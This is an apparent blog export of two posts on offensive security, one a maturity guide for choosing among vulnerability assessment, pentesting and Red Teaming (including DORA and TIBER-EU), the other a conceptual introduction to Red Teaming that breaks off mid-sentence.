[{"content":" I wrote this one back in the day, and it was originally published on Security Art Work (S2GRUPO) on July 13, 2026.\nIntroduction Go back for a moment to the museum from the previous article. Only this time, picture something different: the director, before installing a single camera, before putting locks on the doors, before anything else… picks up the phone and hires the best thief in the world to try to steal the painting.\nThe result? The thief walks in through the door, which is open, grabs the painting and leaves. Ten minutes. But before that there were weeks of coordination, preparation and meetings, plus a hefty invoice, just to confirm something you already knew: that you have nothing.\nIt was a waste of resources to confirm the obvious. You learned nothing you didn\u0026rsquo;t already know.\nAnd here\u0026rsquo;s the key: the mistake wasn\u0026rsquo;t hiring the thief. It was the timing. That same thief, in a museum with cameras, guards and display cases, would have taught you a great deal. In an empty museum, all he does is confirm the obvious.\nExactly the same thing happens with offensive security services. You don\u0026rsquo;t pick them at random. It\u0026rsquo;s not about grabbing the simplest one to tick a box, nor the most ambitious one to show off. It\u0026rsquo;s about choosing the one you need for the moment you\u0026rsquo;re in.\nBecause these services aren\u0026rsquo;t dishes on a menu: they\u0026rsquo;re steps on a staircase. And climbing them in order is what separates making the most of your resources from wasting them.\nMaturity: it\u0026rsquo;s not a menu, it\u0026rsquo;s a staircase \u0026ldquo;Maturity\u0026rdquo; in security isn\u0026rsquo;t a marketing label: it\u0026rsquo;s simply how much you\u0026rsquo;ve built and how much you\u0026rsquo;ve tested it. A mature organization isn\u0026rsquo;t the one with the most tools, but the one that knows what it has, protects it, detects when something goes wrong, responds and recovers.\nIf you want something more formal, the NIST Cybersecurity Framework offers a good definition:\nSecurity maturity is the degree to which an organization\u0026rsquo;s security capabilities are consistent, repeatable and improvable over time; that is, it measures how well you manage risk, not what tools you own.\nThat last part is the key. Maturity isn\u0026rsquo;t having the most expensive EDR on the market: that makes you well-equipped, not mature. NIST itself sorts it into four levels: from the one that puts out fires with no process, through the one that already decides based on risk, to the one whose management is so well-oiled that it learns from every incident and adjusts on its own. And what those levels measure isn\u0026rsquo;t how much you\u0026rsquo;ve spent on defense, but how integrated your way of managing risk is.\nAnd there\u0026rsquo;s an important detail: the highest level isn\u0026rsquo;t the goal for everyone. Each organization should aim for the one that fits its business and the risk it\u0026rsquo;s willing to accept. Wanting the top step just because is wasting resources… just like hiring a Red Team before you\u0026rsquo;re ready for it.\nOne piece is still missing, and the C2M2 from the U.S. Department of Energy provides it: its levels are cumulative. To reach one, you have to meet everything in the previous one. There are no shortcuts and you don\u0026rsquo;t skip the foundations. There, in a single sentence, is why this is a staircase and not a menu. It also measures each area separately, so you can be solid at managing vulnerabilities and weak at responding to incidents.\nAnd those five things we mentioned at the start (knowing what you have, protecting it, detecting, responding and recovering) are exactly the five functions of the NIST CSF: Identify → Protect → Detect → Respond → Recover. It\u0026rsquo;s no accident they come in that order: you can\u0026rsquo;t respond to something you don\u0026rsquo;t detect, nor detect on systems you didn\u0026rsquo;t even know you had.\nOffensive security services follow the same path. Each one tests one more function, and each one assumes the previous ones are already covered. That\u0026rsquo;s why they\u0026rsquo;re a staircase: buying above your maturity is investing time and effort to confirm something you already know; staying below it is missing what\u0026rsquo;s really broken.\nSo knowing which step you\u0026rsquo;re on is the smartest decision you can make before committing a single resource.\nThe services at a glance Before getting into the detail, the full map. The idea is simple: there are three main services, which make up the bulk of the journey, and a set of specialized services that come into play once you have a foundation.\nEach of the three main services looks at a different \u0026ldquo;surface\u0026rdquo; of the problem and answers a different question:\nService Surface it looks at What it solves Vulnerability Assessment Exposure surface: everything I have exposed what do I have and where am I exposed? Penetration Testing Attack surface: enumerates the real vectors and tests them all within scope is it actually exploitable and what\u0026rsquo;s the impact? Red Teaming Objective-driven attack surface: it picks the paths that lead to a goal, like an adversary can I defend against an adversary who\u0026rsquo;s after something? Notice that each step doesn\u0026rsquo;t just add depth, it adds intent: it goes from \u0026ldquo;what\u0026rsquo;s there\u0026rdquo; to \u0026ldquo;what\u0026rsquo;s attackable\u0026rdquo; and, from there, to \u0026ldquo;what someone after a specific goal would do\u0026rdquo;.\nAnd around them, the specialized ones, which refine or extend the above:\nService What it solves Device audit are my systems properly configured and hardened? Breach \u0026amp; Attack Simulation (BAS) do my controls fire when they should, continuously? Physical intrusion can I withstand someone coming through the door, not the network? Ransomware simulation can I survive an encryption event and get back to operating? So much for the map. Now let\u0026rsquo;s go down into the detail of each step: when it\u0026rsquo;s your turn, what it gives you and when it\u0026rsquo;s still not the moment.\nThe steps, in detail For each level, the same: how to tell you\u0026rsquo;re there, what fits, what you get and, just as important, what does NOT make sense yet.\nLevel 0: Basic hygiene (offense still isn\u0026rsquo;t the move) Before paying anyone to attack you, comes the boring part: security hygiene. It\u0026rsquo;s having locks on the doors, controlling who holds the keys and knowing what\u0026rsquo;s inside the building. Without that, any offensive exercise will just tell you what you already suspect. And it\u0026rsquo;s no small matter: year after year, breach reports (like the Verizon DBIR) keep showing that most incidents still come in through the usual suspects, a stolen or reused credential, an unpatched system or an exposed asset nobody was watching.\nSigns you\u0026rsquo;re here: you don\u0026rsquo;t have a reliable inventory of assets or software; patching is hit-or-miss, with no prioritization by criticality; there\u0026rsquo;s no widespread MFA and passwords get reused; the network is flat, unsegmented; privileges are handed out \u0026ldquo;just in case\u0026rdquo;; and, if backups exist, restoring them has never been tested. What fits: the essentials first, what frameworks like the CIS Controls group into their first implementation group (IG1) under the name basic hygiene. Asset and software inventory, vulnerability and patch management, MFA, secure configuration and hardening, least privilege, network segmentation, event logging and backups that have genuinely been tested for restoration. What does NOT make sense yet: hiring a Red Team, or even a deep pentest. It\u0026rsquo;s the thief in the museum with no cameras: he gets in for sure and you learn nothing you didn\u0026rsquo;t know. Every resource you put into offense here is a resource you\u0026rsquo;re not putting into closing the doors you already know are open. Level 1: Knowing what you have and where you\u0026rsquo;re exposed With hygiene under way, the next step is to get a clear picture of where they could get in. This is where the vulnerability assessment comes in: the discipline of broadly and systematically searching for the known flaws that surface in your systems. NIST defines it as the systematic examination of a system to identify security deficiencies (NIST SP 800-30). In practice, it\u0026rsquo;s running your surface through a fine, automated comb to find out what\u0026rsquo;s there and what it looks like.\nSigns: you already have the basics covered, but not a clear picture of your exposure. You know you have assets, though not quite which versions are running, what you expose to the internet, or which known vulnerabilities you\u0026rsquo;re accumulating. What fits: a vulnerability assessment, ideally with authenticated scanning (using credentials) and not only from the outside, which sees far more than a blind one. It searches, identifies and catalogs known flaws broadly and recurrently. Breadth over depth: it\u0026rsquo;s not about exploiting anything, but about building the inventory of cracks. What you get: a map of your exposure surface and a prioritized list of what to patch first, ideally crossing technical severity (CVSS) with business context and the real likelihood of exploitation (metrics like EPSS or the CISA KEV catalog of actively exploited vulnerabilities). It covers Identify and pushes Protect. What does NOT make sense yet: jumping to a pentest or a Red Team. If you\u0026rsquo;re still piling up a list of unpatched known vulnerabilities, paying for someone to exploit them will only confirm what the scanner already told you, and a Red Team will walk in through the first of them without you learning anything new. First reduce that obvious exposure; once you no longer know which of the remaining flaws are actually exploitable, it\u0026rsquo;ll be time to climb to the next step. Level 2: Checking what\u0026rsquo;s actually exploitable A list of vulnerabilities tells you where the cracks are; it doesn\u0026rsquo;t tell you which ones give way when someone pushes. That leap, from the theoretical to the demonstrated, is the pentest. NIST describes it as a test in which evaluators attempt to evade or defeat a system\u0026rsquo;s security measures (NIST SP 800-115). Here the flaw is no longer just catalogued: it\u0026rsquo;s exploited, chained with others and measured to see how far it lets you go.\nSigns: you\u0026rsquo;ve done the vulnerability assessment and have a prioritized list, but you don\u0026rsquo;t know the real impact those flaws would have when chained. You need to go from \u0026ldquo;this looks vulnerable\u0026rdquo; to \u0026ldquo;this compromises that system and this data\u0026rdquo;. What fits: a pentest with a bounded scope (external or internal). The team takes the flaws, exploits them to prove they\u0026rsquo;re real, combines them and pursues a technical objective. Depth over breadth. It\u0026rsquo;s worth setting clear rules of engagement and, depending on the case, choosing how much information is handed over (from black box with no data to white box with access and documentation). What you get: confirmation of real risks with reproducible evidence, an exploitation chain that shows the business impact and prioritized remediation recommendations. It separates the noise (the flaw nobody can exploit) from what can genuinely hurt you: your real attack surface, the one that gives way when pushed. It adds Detect in an early form. What does NOT make sense yet: confusing it with a Red Team. A pentest is usually known to the defense, runs against a closed scope and seeks technical coverage; it doesn\u0026rsquo;t measure whether your SOC detects and reacts to someone stealthy who takes their time. Coverage isn\u0026rsquo;t the same as stealth, and a good pentest doesn\u0026rsquo;t pretend to be invisible: its value is in finding and proving, not in hiding. Level 3: Withstanding a real adversary The pentest tells you whether a door opens. The Red Team tells you whether anyone notices when it\u0026rsquo;s crossed, when they move around inside and go for what matters. It\u0026rsquo;s no longer a system being tested, but the whole organization: the technology, the processes and the people who defend it. That\u0026rsquo;s why NIST describes it as an exercise that, reflecting real-world conditions, simulates an adversary\u0026rsquo;s attempt to compromise an organization\u0026rsquo;s missions or business processes (CNSSI 4009). The key difference isn\u0026rsquo;t technical: it\u0026rsquo;s that here the defense isn\u0026rsquo;t warned, it doesn\u0026rsquo;t know it\u0026rsquo;s being tested.\nSigns: you already protect, detect and are starting to respond. You have a SOC, EDR, response processes and a team that knows what it\u0026rsquo;s doing, but you\u0026rsquo;ve never measured them against someone who behaves like a real attacker, takes their time and doesn\u0026rsquo;t want to be seen. What fits: a Red Team exercise guided by threat modeling. A plausible adversary for your organization is chosen (sector, geopolitics, exposure), their real TTPs are emulated (drawing on frameworks like MITRE ATT\u0026amp;CK) and a concrete business objective is pursued (reach this data, get to that system), stealthily and without the defense knowing. It doesn\u0026rsquo;t measure the number of flaws, but the real detection and response capability: do they see it? in how long? do they react well? What you get: the real measure of your detection and response (Respond and Recover), a map of blind spots and, above all, a step-by-step account of the incident that shows where the chain broke. It doesn\u0026rsquo;t cover the whole surface, but the path an adversary would take to reach its objective. It\u0026rsquo;s the exercise that most closely resembles what would actually happen. What does NOT make sense: judging the exercise by \u0026ldquo;did they get in or not?\u0026rdquo;. Given time and resources, they get in; we knew that before starting. The question that pays for the exercise is what happened next: how long it took to spot them, whether they were contained and what\u0026rsquo;s learned for next time. What if you\u0026rsquo;re regulated? DORA and TIBER-EU So far we\u0026rsquo;ve talked about choosing based on your maturity, as if the decision were yours alone. But for part of the business fabric, especially the financial sector, some of these steps have stopped being an option and become a legal obligation.\nBack to the museum. Imagine the director no longer decides how much security to put in place: the Ministry of Culture steps in and issues a regulation. Every museum holding works above a certain value is required to keep an up-to-date inventory, surveillance, cameras, a tested emergency plan, and to notify the authority within hours if a thief gets in. And the most important ones, on top of that, will have to pass a realistic, supervised theft test every so often. Security stops being a choice and gets a minimum floor set by law. That, transferred to the digital world and the financial sector, is DORA.\nWhat DORA is DORA (Digital Operational Resilience Act, EU Regulation 2022/2554) is the European law that, since 17 January 2025, requires the financial sector to be able to withstand, respond to and recover from technological incidents. It\u0026rsquo;s not a recommendation or a best-practices guide: it\u0026rsquo;s a binding regulation.\nIt applies to a broad range of entities: banks, insurers, investment firms, payment institutions, fintechs, crypto-asset providers, fund managers… and also the critical ICT providers they depend on, such as the big cloud providers. It rests on several pillars: ICT risk management, incident reporting, third-party risk management, information sharing and, the one we care about here, resilience testing.\nWithin that testing, the entities that the authorities designate by their criticality are required to undergo a TLPT (Threat-Led Penetration Testing): an offensive exercise driven by threat intelligence, typically every three years. This is where the staircase in this article crosses paths squarely with the law.\nWhat TIBER-EU is If DORA says \u0026ldquo;you have to run the test\u0026rdquo;, TIBER-EU says \u0026ldquo;this is how you run it\u0026rdquo;. It\u0026rsquo;s the framework created by the European Central Bank in 2018 that standardizes how that TLPT is carried out: how the scope is defined, how threat intelligence is used to choose which adversary to emulate, how a Red Team is launched against the real production systems and how everything is supervised end to end so nothing actually breaks. Each country has its adaptation; in Spain it\u0026rsquo;s TIBER-ES, coordinated by the Banco de España.\nIn the museum, TIBER-EU would be the official protocol for how that theft test is organized: who authorizes the thief, how a real thief\u0026rsquo;s modus operandi is studied first so the test is credible, that it\u0026rsquo;s done with the museum open to the public (in production) but with a small group of trusted insiders watching so nothing ends up broken, and with an inspector from the authority validating that it was done right. It\u0026rsquo;s standardized so that one bank\u0026rsquo;s test is comparable to another\u0026rsquo;s.\nIn practice, a TLPT under TIBER-EU is a high-end Red Team: guided by real threat intelligence, run against production and with a formal end-to-end process.\nAre you subject to a framework like this? How to tell The first question is simple: do you operate in the EU financial sector? If you\u0026rsquo;re a bank, insurer, investment firm, payment or e-money institution, fund manager or crypto-asset provider, DORA almost certainly applies to you. And if you\u0026rsquo;re an ICT provider those entities depend on, it may reach you too.\nA different matter is being specifically required to do the TLPT: that doesn\u0026rsquo;t apply to all of them, but to the entities that the competent authorities designate by their size and criticality. To clear up doubts, the short path is to ask your compliance or legal team and check with your supervisor (in Spain, depending on the sector, the Banco de España, the CNMV or the DGSFP).\nAnd bear in mind that DORA isn\u0026rsquo;t the only framework. Outside the financial world there are others that also impose security obligations, like NIS2 for essential sectors (energy, transport, healthcare, water…). If your activity is sensitive, it\u0026rsquo;s worth checking before assuming the decision is yours alone.\nThe takeaway for the rest of the article: if you\u0026rsquo;re regulated, the high steps of the staircase aren\u0026rsquo;t an aspiration, they\u0026rsquo;re an obligation. And like any obligation of this kind, it requires having climbed the lower ones first: you don\u0026rsquo;t pass a TLPT successfully, nor learn from it, without the prior maturity to identify, protect and detect.\nQuestions for a self-assessment First, an honest warning: what follows is indicative. It helps you place yourself roughly, but it\u0026rsquo;s not a definitive diagnosis nor a substitute for a study done by professionals on your specific case (your sector, your architecture, your risks and your obligations). Take it as a compass, not a GPS.\nThat said, answer honestly. Where your first \u0026ldquo;no\u0026rdquo; falls, that\u0026rsquo;s your step:\nDo you have a reliable inventory, up-to-date patching, widespread MFA and tested backups? → If not: Level 0, basic hygiene. Do you know what you have exposed and with which known vulnerabilities? → If not: Level 1, vulnerability assessment. Have you confirmed by exploiting which of those flaws are real and their impact? → If not: Level 2, pentest. Do you have detection and response (SOC/EDR/IR) and have you tested them blind? → If not: Level 3, Red Team / Adversary Simulation. Do you already have a mature Red Team and want to measure a specific scenario (physical intrusion, ransomware resilience, device audit)? → specialized services. Do you operate in EU banking or finance, or in an essential sector? → check whether DORA or NIS2 oblige you (and, if so, to a TLPT). Rule of thumb: if a service is going to confirm something you already know, it\u0026rsquo;s not your service yet. The good one is the one that reveals something you didn\u0026rsquo;t know.\nWant to go deeper? Here\u0026rsquo;s a self-assessment in Excel with more than 30 questions across areas, which calculates your level and suggests which step to focus on:\nDownload the self-assessment in Excel\nFor the record, once again: even that spreadsheet is indicative. To genuinely decide what to hire, the sensible move is a professional study of your specific situation.\nCommon mistakes Almost all the problems with offensive security don\u0026rsquo;t come from the service itself, but from choosing it or using it badly. These are the most common stumbles, from most to least serious.\nSkipping steps. It\u0026rsquo;s the most expensive mistake and the most frequent. Going for depth without having breadth covered: you hire a Red Team when you don\u0026rsquo;t even know what you have exposed. You find one way in, but ten go unchecked, and you pay to confirm what you already suspected. The staircase exists for a reason: each step assumes the previous one. Treating it as a one-off. A standalone exercise is a still photo; security is a movie. The value is in the cycle: you test, you learn, you fix and you test again. Passing a Red Team once to tick the box doesn\u0026rsquo;t build maturity, it just eases your conscience. Buying what\u0026rsquo;s trendy. \u0026ldquo;I want a Red Team\u0026rdquo; because it sounds good in the meeting, when what you need is a pentest and to fix the basics. The name is impressive; the result doesn\u0026rsquo;t add more if it arrives too soon. Not defining the objective of the exercise. Hiring \u0026ldquo;a pentest\u0026rdquo; or \u0026ldquo;a Red Team\u0026rdquo; without nailing down what question it should answer or what counts as success. With no clear objective, the provider improvises the scope and you get a report that doesn\u0026rsquo;t match what actually worried you. Before signing, be clear on one thing: what do I want to know when this is over? Not being clear on the maturity goal. Chasing the highest step just because, without knowing what level you really need to reach. As NIST itself warns, the goal isn\u0026rsquo;t the maximum for everyone, but the one that fits your business and your risk tolerance. Aiming higher than necessary is also wasting resources. Not knowing what each exercise is for. Each one measures something different, and applying the wrong yardstick leads to absurd conclusions. In a pentest, whether they detect you or not says nothing about its quality: the pentester isn\u0026rsquo;t after stealth, they\u0026rsquo;re after coverage and proving impact, and in fact being seen is the norm. Stealth and detection are exactly what a Red Team evaluates, not a pentest. Asking each service for what isn\u0026rsquo;t its job only breeds frustration and misread reports. Conclusions We\u0026rsquo;ve climbed the whole staircase: from the basic hygiene that holds everything up, through knowing your exposure and confirming what\u0026rsquo;s actually exploitable, to putting yourself to the test against a real adversary. At its core it\u0026rsquo;s a shift in intent: from knowing what you have, to what\u0026rsquo;s attackable, to what someone after a specific goal would do. And around it, the specialized services and, if it applies to you, regulatory obligations like DORA.\nThe underlying idea is just one: well-chosen offensive security isn\u0026rsquo;t the most ambitious nor the one that sounds best in a meeting, it\u0026rsquo;s the one that fits your moment. Climb the steps in order and each one will reveal something you didn\u0026rsquo;t know. Skip them and you\u0026rsquo;ll end up like the museum at the start, investing time and resources for a thief to confirm you didn\u0026rsquo;t even have cameras.\nAnd the Red Team isn\u0026rsquo;t the final goal either. Real maturity isn\u0026rsquo;t passing one exercise, but turning all of this into a program that sustains itself and improves over time.\nIf after reading this you\u0026rsquo;re not entirely clear on which step you\u0026rsquo;re on, that\u0026rsquo;s fine: realizing that is already the first step. Start with the self-assessment and, from there, decide with judgment.\nReferences NIST — Cybersecurity Framework (CSF). Implementation Tiers (Partial, Risk Informed, Repeatable, Adaptive): they describe how mature and integrated risk management is, not the quality of the controls; the highest Tier isn\u0026rsquo;t the universal goal, but the one that fits each organization\u0026rsquo;s business and risk tolerance. Framework functions: Identify, Protect, Detect, Respond, Recover. U.S. Department of Energy — Cybersecurity Capability Maturity Model (C2M2). Cumulative maturity indicator levels (MIL0–MIL3): reaching a level requires meeting the practices of that level and all the previous ones. Maturity is assessed by domain independently. Center for Internet Security — CIS Critical Security Controls. Implementation Group 1 (IG1) defines essential cyber hygiene: asset and software inventory, vulnerability management, MFA, secure configuration, access control and backups, among others. Verizon — Data Breach Investigations Report (DBIR). An annual report that, edition after edition, places compromised credentials, the exploitation of known vulnerabilities and misconfigurations among the main breach vectors. NIST — definitions of vulnerability assessment (SP 800-30), penetration testing (SP 800-115) and Red Team exercise (CNSSI 4009). Prioritization models: CVSS (technical severity), EPSS (likelihood of exploitation) and CISA KEV (catalog of actively exploited vulnerabilities). MITRE — ATT\u0026amp;CK. Knowledge base of real adversaries\u0026rsquo; tactics, techniques and procedures (TTPs), used to design and map the emulation in a Red Team exercise. European Union — Regulation (EU) 2022/2554, Digital Operational Resilience Act (DORA). Applicable since 17 January 2025; it governs the digital operational resilience of the financial sector and includes the TLPT obligation for entities designated by their criticality. European Central Bank — TIBER-EU framework (Threat Intelligence-Based Ethical Red Teaming, 2018) and its national adaptation TIBER-ES (Banco de España): a standardized method to run a TLPT guided by threat intelligence against production systems. European Union — Directive (EU) 2022/2555, NIS2. Cybersecurity obligations for essential and important entities outside the financial sector (energy, transport, healthcare, water, etc.). ","permalink":"https://josupalacios99.github.io/blog/en/posts/que-servicio-de-seguridad-ofensiva-necesitas/","summary":"Vulnerability Assessment, Pentest, Red Team, BAS, physical intrusion, ransomware simulation… It\u0026rsquo;s not a menu where you pick the flashiest dish: it\u0026rsquo;s a staircase. This guide helps you figure out which step you\u0026rsquo;re on and what makes sense to hire right now.","title":"Which offensive security service do you need? A maturity guide"},{"content":" I wrote this one back in the day, and it was originally published on Security Art Work (S2GRUPO) on July 6, 2026.\nIntroduction Picture a museum. One of those with a piece worth more than the whole building. Cameras everywhere, guards in every room, motion sensors, an armored display case straight out of a movie. The director sleeps soundly: \u0026ldquo;this is Fort Knox, nobody gets in here\u0026rdquo;.\nBut one day he does something odd. He picks up the phone and hires a thief. A real one, one of the good ones. And he tells him: \u0026ldquo;Steal the painting. Don\u0026rsquo;t warn anyone, don\u0026rsquo;t hold back. I want to see how far you can get\u0026rdquo;.\nAnd here\u0026rsquo;s the good part. The director expected a Mission Impossible movie: the thief lowering himself from the ceiling on harnesses, dodging lasers, drilling the armored case with a surgeon\u0026rsquo;s precision.\nNone of that.\nThe thief showed up at nine in the morning in work overalls with a cleaning cart. He told the guard he was there to fix the air conditioning in room 3. The guard, who didn\u0026rsquo;t even look up, opened the door for him. It turned out the €40,000 armored case opened with a key hanging in the little maintenance room, the one whose lock had been broken for months. The thief grabbed the painting, tucked it under some rags in the cart, said \u0026ldquo;see you later, boss\u0026rdquo; on the way out… and the boss replied \u0026ldquo;take care\u0026rdquo;.\nZero lasers. Zero harnesses. The museum\u0026rsquo;s most expensive piece walked out the front door in broad daylight, waving.\nAnd you know what\u0026rsquo;s the most uncomfortable part? The cameras recorded everything. They worked perfectly. Nobody was watching them.\nThis is the big difference between believing you\u0026rsquo;re protected and knowing it.\nSetting up a company\u0026rsquo;s security is a headache. It\u0026rsquo;s not just installing an antivirus and calling it a day. You pull on one side and it tightens on the other: clients ask you for guarantees, compliance chases you with its checklists, management wants results now, and if something hits the press the whole circus comes to town. All of it at once.\nAnd then there\u0026rsquo;s the money. There\u0026rsquo;s almost never as much as you\u0026rsquo;d need, and the worst part isn\u0026rsquo;t that: the worst part is that often nobody even knows what to spend it on. The trendy tool gets bought, the box gets ticked, and on to the next thing.\nUnderneath all this there\u0026rsquo;s an idea nobody says out loud but that\u0026rsquo;s always there: \u0026ldquo;this happens to others, not to us\u0026rdquo;. And from that idea the usual myths are born:\n\u0026ldquo;If the user doesn\u0026rsquo;t click, there\u0026rsquo;s no breach.\u0026rdquo; \u0026ldquo;We have an EDR, we\u0026rsquo;re covered.\u0026rdquo; \u0026ldquo;We comply with ISO 27001, our infrastructure is secure.\u0026rdquo; Sounds reasonable. The problem is that reality doesn\u0026rsquo;t read your certificates.\nIn 2016, the Lazarus group walked away with 81 million dollars from the Central Bank of Bangladesh. Not from a corner shop: from a country\u0026rsquo;s central bank, connected to the SWIFT network, with all the protection you can imagine on top. Do you really think those networks weren\u0026rsquo;t packed with controls, audits, and certifications?\nThey were. And it happened anyway.\nSo the question isn\u0026rsquo;t \u0026ldquo;do we have security?\u0026rdquo;. The question is \u0026ldquo;does it actually work when someone puts it to the test?\u0026rdquo;.\nWhat is Red Teaming? When we talk about what Red Teaming is, also known as Adversary Simulation or Emulation, that\u0026rsquo;s when the first problem shows up. If you ask ten people what it is, you\u0026rsquo;ll probably get fifteen different answers. There are definitions for every taste.\nOf all the ones I\u0026rsquo;ve read, there\u0026rsquo;s one I find especially accurate. It\u0026rsquo;s the one by Joe Vest and James Tubberville in their book Red Team Development and Operations:\nRed Teaming is the process of using Tactics, Techniques and Procedures (TTPs) to emulate a real-world threat, with the goal of training and measuring the effectiveness of the people, processes and technology used to defend an environment.\nFrom this definition we can pull out three important ideas:\n\u0026ldquo;Emulate a real-world adversary\u0026rdquo;. It\u0026rsquo;s not about launching a scanner and reviewing the list of flaws it returns. It\u0026rsquo;s about behaving the way someone who actually wants to cause harm would. And that changes everything, because an attacker is not a vulnerability nor an exploit in a report: it\u0026rsquo;s an intelligent person, with patience and a goal, and sometimes with enough capital to achieve their purpose. And when we talk about capital, we mean very concrete things: they can buy a zero-day exploit for hundreds of thousands of dollars, pay a disgruntled employee to open a door from the inside, or sustain an operation for months without rushing to cash in. That\u0026rsquo;s why the first thing, before touching anything, is to be clear about who you\u0026rsquo;re protecting yourself from. Defending against an opportunistic attacker is not the same as defending against a state-sponsored group (APT) that has spent months studying its target. The tools change, the goals change, and the patience changes. If you don\u0026rsquo;t know which adversary you\u0026rsquo;re facing, you\u0026rsquo;re putting up bars without even knowing whether the intruder comes through the window or the door.\n\u0026ldquo;Train and measure\u0026rdquo;. Red Teaming\u0026rsquo;s purpose is not to hand over a list of vulnerabilities; there are other approaches for that. It exists to answer far more complex and uncomfortable questions: would your team notice? In how long? Would they know how to react? It\u0026rsquo;s a fire drill, but with real fire.\n\u0026ldquo;People, processes and technology\u0026rdquo;. Here\u0026rsquo;s the real heart of the matter. There\u0026rsquo;s a tendency to understand security as a purely technical problem (firewall, antivirus, patches) and to forget the other two legs. But at the museum, the technology didn\u0026rsquo;t fail: the cameras worked. What failed was the person who wasn\u0026rsquo;t watching the screens and the process that left a key hanging in a room with a broken lock. Red Teaming tests all three dimensions at once, because a real attacker will always go for the weakest one, and it\u0026rsquo;s rarely the technology.\nNone of this is improvised. A good exercise starts from well-defined objectives and scenarios, and for that it\u0026rsquo;s key to identify the organization\u0026rsquo;s critical functions and the impact of seeing them compromised. Without that direction, it\u0026rsquo;s not a Red Team exercise: it\u0026rsquo;s a group of people trying things to see what they find.\nEmulation vs Simulation A note on the names: within Red Teaming there are two distinct approaches. Emulating an adversary is not the same as simulating one.\nEmulation Simulation Threat Specific, real Hypothetical TTPs Known (threat intelligence) Free or custom Scope Narrow Broad Purpose Harden defenses against that actor Improve against a range of threats The purpose of adversary emulation is to develop, test, and tune an organization\u0026rsquo;s ability to detect and respond to the TTPs of a specific threat. It provides a focused evaluation of their capabilities against a threat actor that is more likely to target them; in these scenarios, the red team leverages threat intelligence (TI) reports to mirror that actor\u0026rsquo;s known TTPs as closely as reasonably possible. It\u0026rsquo;s like preparing for a specific thief whose modus operandi you already know: breaks in at night through the roof, always picks the same kind of lock, avoids the east wing cameras. You want to see whether you stop that one.\nAdversary simulation, conversely, lets the red team behave like a completely hypothetical threat, far less restricted in the TTPs it can leverage. This gives the organization a broader evaluation of its capabilities and can highlight lesser-known blind spots. Following the same analogy, it\u0026rsquo;s letting loose any thief, with no script, free to use whatever tricks they come up with, to see how you hold up against any style of break-in.\nWhat Red Teaming is NOT Sometimes the best way to understand something is to define what it isn\u0026rsquo;t. And Red Teaming carries enough misconceptions to deserve a section. Let\u0026rsquo;s dismantle a few.\nIt\u0026rsquo;s not hacking for the sake of hacking. It\u0026rsquo;s not about breaking in for sport, planting a flag and leaving. If an exercise ends with a \u0026ldquo;we got in, congrats everyone\u0026rdquo; and little else, it failed. The goal is not access itself, but the actionable value extracted from it: what failed, where, what could have been done differently, and what needs fixing starting tomorrow. A Red Team that doesn\u0026rsquo;t leave the organization better than it found it hasn\u0026rsquo;t done its job.\nIt\u0026rsquo;s not an exam, nor an attempt to embarrass anyone. Here lies one of the biggest sources of rejection toward this discipline: the idea that someone comes from outside to show how badly the internal team does its job, to point fingers and humiliate the Blue Team. Nothing further from the truth. The Red Team is not the enemy: it\u0026rsquo;s the drill, not the fire. It\u0026rsquo;s there so that, when the real fire comes, everyone knows exactly what to do. If an exercise is experienced as a trial, someone has misunderstood the purpose.\nIt\u0026rsquo;s not a \u0026ldquo;did they get in or not?\u0026rdquo;. This is perhaps the most widespread confusion. Reducing the outcome to whether the Red Team managed to compromise the organization is staying on the surface. They almost always get in, as we\u0026rsquo;ll see later; the interesting question is what impact is demonstrated along the way. The \u0026ldquo;yes, they got in\u0026rdquo; is the start of the analysis, not the end.\nIt\u0026rsquo;s not a one-off service. Security is not a state you reach, but something you maintain and that erodes constantly. The real value appears when Red Teaming is understood as a process that builds maturity: exercise, lessons learned, improvements, and start again. Doing it once to tick a box doesn\u0026rsquo;t deliver the same value.\nIt\u0026rsquo;s not only the offensive team\u0026rsquo;s thing. We tend to imagine Red Teaming as a group of attackers doing their magic in a basement, and little else. But an exercise without a Blue Team to detect and respond loses half its meaning, nothing is being measured. And without management understanding the results and deciding to act on them, the report ends up in a drawer. Red Teaming delivers value when the whole organization takes part: the offensive team, the defensive one, and whoever makes the decisions.\nDeep down, all these misconceptions share the same root: confusing Red Teaming with an end (getting in, winning, showing off) when it\u0026rsquo;s actually a means. A means for the organization to get to know itself better and prepare for the day the attacker isn\u0026rsquo;t a fake one.\nVulnerability Assessment vs Penetration Testing vs Red Teaming These three terms are often used as synonyms, and they\u0026rsquo;re not. Confusing them leads to hiring what you don\u0026rsquo;t need, or worse, to believing you\u0026rsquo;re measuring something you\u0026rsquo;re actually not. Let\u0026rsquo;s define them and then see them head to head.\nVulnerability Assessment. NIST defines it as the \u0026ldquo;systematic examination of an information system or product to determine the adequacy of security measures, identify security deficiencies, provide data from which to predict the effectiveness of proposed security measures, and confirm the adequacy of such measures after implementation\u0026rdquo; (NIST SP 800-30). In practice: it searches, identifies and catalogs flaws. Breadth over depth.\nPenetration Testing. NIST describes it as \u0026ldquo;a test methodology in which assessors, typically working under specific constraints, attempt to circumvent or defeat the security features of a system\u0026rdquo; (NIST SP 800-115). Here it\u0026rsquo;s no longer just about identifying the flaw: it\u0026rsquo;s exploited to prove it\u0026rsquo;s real and how far it allows you to go.\nRed Teaming. NIST defines the Red Team exercise as \u0026ldquo;an exercise, reflecting real-world conditions, that is conducted as a simulated attempt by an adversary to compromise the missions or business processes of an organization, in order to provide a comprehensive assessment of the security capability of the system and the organization itself\u0026rdquo; (CNSSI 4009 / NIST). The key word is organization: it\u0026rsquo;s no longer a system being measured, it\u0026rsquo;s the entire defensive environment.\nThe difference is much clearer when you put them head to head, point by point:\nVulnerability Assessment Penetration Testing Red Teaming Oriented to Breadth (cover everything) Exploitation depth Depth + a concrete objective What it measures Assets, network or applications Systems and their exploitability The whole environment: people, processes and technology Goal Identify vulnerabilities Demonstrate exploitation and impact Measure the real state of security What you get Reduce the attack surface Confirm real risks Train and evaluate the defense Tools Automated scanners Mixed (auto + manual) Tailored, stealthy, emulating an adversary Does the Blue Team know? Yes Usually yes No (that\u0026rsquo;s the whole point) NIST functions covered Identify, Protect + Detect + Respond, Recover That last row is the most revealing. If you read it left to right, you see how each approach covers a larger slice of the security lifecycle, the five functions of the NIST Cybersecurity Framework: Identify, Protect, Detect, Respond and Recover.\nThe Vulnerability Assessment tells you what you have and where you\u0026rsquo;re exposed: it lives in Identify and Protect. The Pentest adds Detect: by actually exploiting, it starts testing whether anything fires. But only Red Teaming reaches Respond and Recover, because it\u0026rsquo;s the only one done without warning the defenders, and therefore the only one that measures what truly matters during a real incident: do they detect it? do they react? do they recover? in how long?\nBack to the museum: a vulnerability assessment is reviewing the inventory of locks and noting which ones are loose. A pentest is checking that a loose 